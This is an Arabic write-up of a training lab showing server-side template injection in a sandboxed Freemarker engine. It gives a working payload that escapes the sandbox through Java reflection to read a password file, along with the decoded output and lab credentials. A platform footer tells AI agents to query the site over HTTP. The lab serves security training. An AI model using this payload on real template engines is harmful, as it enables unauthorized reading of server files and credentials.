> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssti/ssti-in-sandboxed-environment.md).

# SSTI في بيئة معزولة

### حقن القوالب من جهة الخادم في بيئة معزولة

تستخدم هذه المختبرات الـ **Freemarker** محرك القوالب مع صندوق عزل مُهيأ بشكل سيئ، مما يسمح بحقن قوالب من جهة الخادم. / الهدف: تجاوز صندوق العزل لقراءة `my_password.txt` الملف في المجلد الشخصي لكارلوس، ثم أرسل محتوياته.

بيانات الاعتماد المقدمة:/ `content-manager: C0nt3ntM4n4g3r`

#### 1. التحقق من تنفيذ الشيفرة في القالب

نختبر أولاً ما إذا كان المحرك يفسر العديد من تعبيرات Java في القالب:

```python
${7*7}
```

يُفسَّر هذا الحساب، مما يؤكد وجود ثغرة SSTI مع تنفيذ شيفرة من جهة الخادم.

<figure><img src="/files/04c534b7a3f26c37c79dd138d4b3abfca227379b" alt=""><figcaption></figcaption></figure>

#### 2. تجاوز صندوق العزل وقراءة الملف الحساس

للخروج من صندوق العزل والوصول إلى نظام الملفات، نستخدم الـ `product` الكائن الموجود بالفعل في سياق القالب ونصعد إلى الفئات Java الأساسية لقراءة ملف كارلوس مباشرةً:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

هذا التعبير يعيد محتويات الـ `my_password.txt` الملف على هيئة قيم عشرية (رموز بايت).

<figure><img src="/files/58eedced9e88232dee0400bfc735d60faf047e59" alt=""><figcaption></figcaption></figure>

3/. تحويل القيم العشرية إلى نص

الناتج الذي تم الحصول عليه هو سلسلة من الأرقام العشرية:

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

يؤدي تحويل هذه القيم إلى ASCII إلى كلمة المرور التالية:

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
